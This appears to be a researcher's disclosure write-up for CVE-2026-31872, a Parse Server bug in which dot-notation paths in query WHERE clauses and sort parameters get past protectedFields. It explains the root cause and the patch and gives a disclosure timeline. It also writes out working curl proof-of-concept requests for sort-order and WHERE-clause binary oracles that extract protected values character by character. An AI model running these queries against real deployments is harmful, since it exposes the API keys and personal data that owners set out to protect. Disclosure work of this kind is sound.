CVE-2026-31872: Parse Server Protected Fields Bypass via Dot-Notation
TL;DR — Parse Server — 21,000+ GitHub stars, 23,000+ weekly npm downloads, the open-source backend-as-a-service that started at Facebook — has a field-level access control bypass. The protectedFields class-level permission (CLP) can be completely circumvented by using dot-notation in query WHERE clauses and sort parameters. An attacker queries sub-fields of protected fields (e.g., secretObj.apiKey instead of secretObj) to run a binary oracle attack, iteratively extracting the full value of any protected field one bit at a time. Affects both MongoDB and PostgreSQL. No workaround. Assigned CVE-2026-31872. CVSS 8.7 (High).
why this matters
Parse Server's protectedFields CLP is the mechanism that keeps sensitive data out of API responses. You configure it in your class-level permissions to say "these fields should never be returned to unauthenticated users" (or to any user who doesn't match a specific pointer). Think of it as the field-level equivalent of ACLs — it's how you keep API keys, internal scores, PII, and other sensitive object properties hidden from the client.
The problem is that protectedFields was only enforced on the response side. The fields were stripped from query results, sure. But nobody checked whether those same fields were being used in query constraints or sort orders. And even after that check was added for top-level field names, it didn't account for dot-notation. If secretObj is protected, querying secretObj.apiKey sailed right through the validation because the code compared the full dot-notation path against the protected fields list — and secretObj.apiKey is not the same string as secretObj.
That gap turns a confidentiality control into a suggestion.
the root cause
Parse Server's RestQuery.js has a function called denyProtectedFields that checks whether a query references any protected fields. Before the fix, the check compared query keys and sort keys directly against the protected fields list:
// Before the fix — simplified from RestQuery.js
for (const whereKey of Object.keys(where)) {
if (protectedFields.includes(whereKey)) {
throw new Parse.Error(
Parse.Error.OPERATION_FORBIDDEN,
`Field ${whereKey} is protected.`
);
}
}
This catches secretObj directly. But it does not catch secretObj.apiKey, secretObj.nested.deep.value, or any other dot-notation path whose root field is protected. The comparison is a simple string equality check, and "secretObj.apiKey" !== "secretObj".
The sort parameter had no protection at all. There was no validation that sort keys referenced only non-protected fields. An attacker could sort by secretObj.score and the server would happily order the results by a protected field's sub-property.
Both MongoDB and PostgreSQL are affected because the vulnerability is in the REST query layer (RestQuery.js), not in the database adapter. The protectedFields check runs before the query ever hits the database.
the binary oracle attack
An "oracle" in this context is any system behavior that leaks one bit of information per request. You ask the server a yes-or-no question about a protected value, observe the answer, and repeat. Enough questions and you reconstruct the entire value.
With this vulnerability, the attacker has two oracles:
oracle 1: sort order
Sort the results by a protected sub-field. The order of returned objects reveals the relative ranking of protected values. If you control one object's value (by creating your own object with a known value in that field), you can binary-search the target value.
# Sort by a sub-field of a protected object field.
# If "secretObj" is in protectedFields, this should be denied — but it isn't.
curl -s -G "http://localhost:1337/parse/classes/MyClass" \
-H "X-Parse-Application-Id: APP_ID" \
-H "X-Parse-REST-API-Key: REST_KEY" \
--data-urlencode "order=secretObj.score"
The response doesn't include secretObj in the returned objects (the response stripping still works), but the order of the results tells you which objects have higher or lower secretObj.score values. Create a reference object with secretObj.score = 50, then check whether the target appears before or after yours. Binary search from there.
# Create a reference object with a known score
curl -s -X POST "http://localhost:1337/parse/classes/MyClass" \
-H "X-Parse-Application-Id: APP_ID" \
-H "X-Parse-REST-API-Key: REST_KEY" \
-H "Content-Type: application/json" \
-d '{"name": "probe", "secretObj": {"score": 50}}'
# Sort ascending — if target appears before our probe, its score is < 50
curl -s -G "http://localhost:1337/parse/classes/MyClass" \
-H "X-Parse-Application-Id: APP_ID" \
-H "X-Parse-REST-API-Key: REST_KEY" \
--data-urlencode "order=secretObj.score" \
--data-urlencode "keys=name"
Each query narrows the range by half. For a numeric value between 0 and 1,000,000, that's ~20 requests to pinpoint the exact value.
oracle 2: where clause filtering
Use comparison operators in the WHERE clause to ask "is this protected value greater than X?" The presence or absence of the target object in the results is your one-bit answer.
# Ask: "does any object have secretObj.apiKey >= 'm'?"
# If the target object appears in results, the first character is m-z.
# If it doesn't, the first character is a-l.
curl -s -G "http://localhost:1337/parse/classes/MyClass" \
-H "X-Parse-Application-Id: APP_ID" \
-H "X-Parse-REST-API-Key: REST_KEY" \
--data-urlencode 'where={"secretObj.apiKey": {"$gte": "m"}}'
This is a classic binary search on a string value. Narrow down character by character:
# First character: a-z? Binary search.
# Is it >= 'm'?
curl -s -G "http://localhost:1337/parse/classes/MyClass" \
-H "X-Parse-Application-Id: APP_ID" \
-H "X-Parse-REST-API-Key: REST_KEY" \
--data-urlencode 'where={"secretObj.apiKey": {"$gte": "m"}}'
# Result includes target → first char is m-z. Is it >= 't'?
curl -s -G "http://localhost:1337/parse/classes/MyClass" \
-H "X-Parse-Application-Id: APP_ID" \
-H "X-Parse-REST-API-Key: REST_KEY" \
--data-urlencode 'where={"secretObj.apiKey": {"$gte": "t"}}'
# Result excludes target → first char is m-s. Is it >= 'p'?
curl -s -G "http://localhost:1337/parse/classes/MyClass" \
-H "X-Parse-Application-Id: APP_ID" \
-H "X-Parse-REST-API-Key: REST_KEY" \
--data-urlencode 'where={"secretObj.apiKey": {"$gte": "p"}}'
# ... repeat until exact character is determined, then move to next character
For a 32-character API key using alphanumeric characters (62 possibilities per character), each character takes ~6 queries (log2(62)). That's ~192 requests to extract the full key. Trivially automatable.
bypassing via logical operators
The dot-notation bypass also works inside $or, $and, and $nor operators, which means wrapping the constraint in a logical operator doesn't help the defender:
# Same attack via $or — the dot-notation bypasses protection inside logical operators too
curl -s -G "http://localhost:1337/parse/classes/MyClass" \
-H "X-Parse-Application-Id: APP_ID" \
-H "X-Parse-REST-API-Key: REST_KEY" \
--data-urlencode 'where={"$or": [{"secretObj.apiKey": {"$gte": "m"}}]}'
impact
The severity is High (CVSS 8.7) because this is a confidentiality breach against a security control that admins explicitly configured to protect sensitive data. The impact:
| Scenario | Impact |
|---|---|
| Protected API keys / secrets | Full extraction of protected string fields via binary search. ~6 requests per character. |
| Protected numeric scores / balances | Exact value extraction via sort-order oracle or where-clause binary search. ~20 requests for a 6-digit number. |
| Protected PII | Email addresses, phone numbers, SSNs stored in protected object fields can be enumerated. |
| Protected internal metadata | Internal flags, feature toggles, admin-only data exposed through sort ordering. |
The attack requires only the REST API key (or JavaScript key), which is shipped in every client application. No master key or authenticated session is needed if the protectedFields rule applies to * (all users). CWE-284: Improper Access Control.
Both MongoDB and PostgreSQL deployments are affected. This isn't a database-specific issue — the vulnerability lives in the shared REST query validation layer.
the fix
The patch in commit 1787db3 is clean. For every key in the WHERE clause and every key in the sort options, extract the root field by splitting on . and taking the first component. Then check if either the full key or the root field appears in the protected fields list:
// After the fix — RestQuery.js denyProtectedFields()
// WHERE clause validation
for (const whereKey of Object.keys(where)) {
const rootField = whereKey.split('.')[0];
if (protectedFields.includes(whereKey) || protectedFields.includes(rootField)) {
throw new Parse.Error(
Parse.Error.OPERATION_FORBIDDEN,
`Field ${whereKey} is protected.`
);
}
}
// Sort parameter validation (new)
if (this.findOptions.sort) {
for (const sortKey of Object.keys(this.findOptions.sort)) {
const rootField = sortKey.split('.')[0];
if (protectedFields.includes(sortKey) || protectedFields.includes(rootField)) {
throw new Parse.Error(
Parse.Error.OPERATION_FORBIDDEN,
`Field ${sortKey} is protected.`
);
}
}
}
The key insight: whereKey.split('.')[0]. If the query references secretObj.apiKey, the root field is secretObj. If secretObj is in the protected fields list, the query is denied. It also handles deeply nested paths like secretObj.nested.deep.key — the root is still secretObj.
The fix also walks into logical operators ($or, $and, $nor) recursively to check dot-notation paths inside compound queries.
Patched versions:
- Parse Server 9: 9.6.0-alpha.6
- Parse Server 8: 8.6.32
There is no known workaround. You cannot mitigate this with ACLs alone because protectedFields is the only mechanism for hiding specific fields from specific user classes at the CLP level. Update immediately.
the broader pattern
This is a recurring pattern I see in access control implementations: the security check operates on the literal string, but the system interprets that string with richer semantics. The protectedFields list contains secretObj. The query engine understands that secretObj.apiKey means "the apiKey sub-field of secretObj." But the access control check does a flat string comparison and sees two unrelated strings.
It's the same class of bug as path traversal in file systems (checking for /etc/passwd but not /etc/../etc/passwd), or authorization bypasses in REST APIs where /admin/users is protected but /admin/./users is not. The security layer doesn't understand the same syntax that the execution layer does.
In Parse Server specifically, this is the second time dot-notation has been the attack vector this week. CVE-2026-31840 was a SQL injection through unescaped dot-notation sub-field names in the PostgreSQL adapter. That one was about missing escaping in the database layer. This one is about missing normalization in the access control layer. Same syntax, completely different vulnerability class. Dot-notation is a feature that spans multiple abstraction layers, and every layer needs to handle it correctly.
The fix is instructive because it's so simple. One call to .split('.')[0] and a second .includes() check. That's it. The hard part wasn't writing the fix — it was realizing the check was needed in the first place. When you design access control for a system that supports nested field access, you have to normalize field references down to their root before checking permissions. Otherwise you're building a wall with a gap at the bottom.
disclosure timeline
| Date | Event |
|---|---|
| Mar 8, 2026 | Vulnerability reported to parse-community via GitHub Security Advisory |
| Mar 9, 2026 | Maintainer confirmed the vulnerability and developed fix |
| Mar 10, 2026 | Patched versions released (9.6.0-alpha.6, 8.6.32) |
| Mar 10, 2026 | CVE-2026-31872 assigned by GitHub. CVSS 8.7 (High). |
Continued respect to @mtrezza and the Parse Server maintainers for the fast turnaround. Report to patch in under 48 hours, again.
This vulnerability was reported through responsible disclosure to the parse-community security team.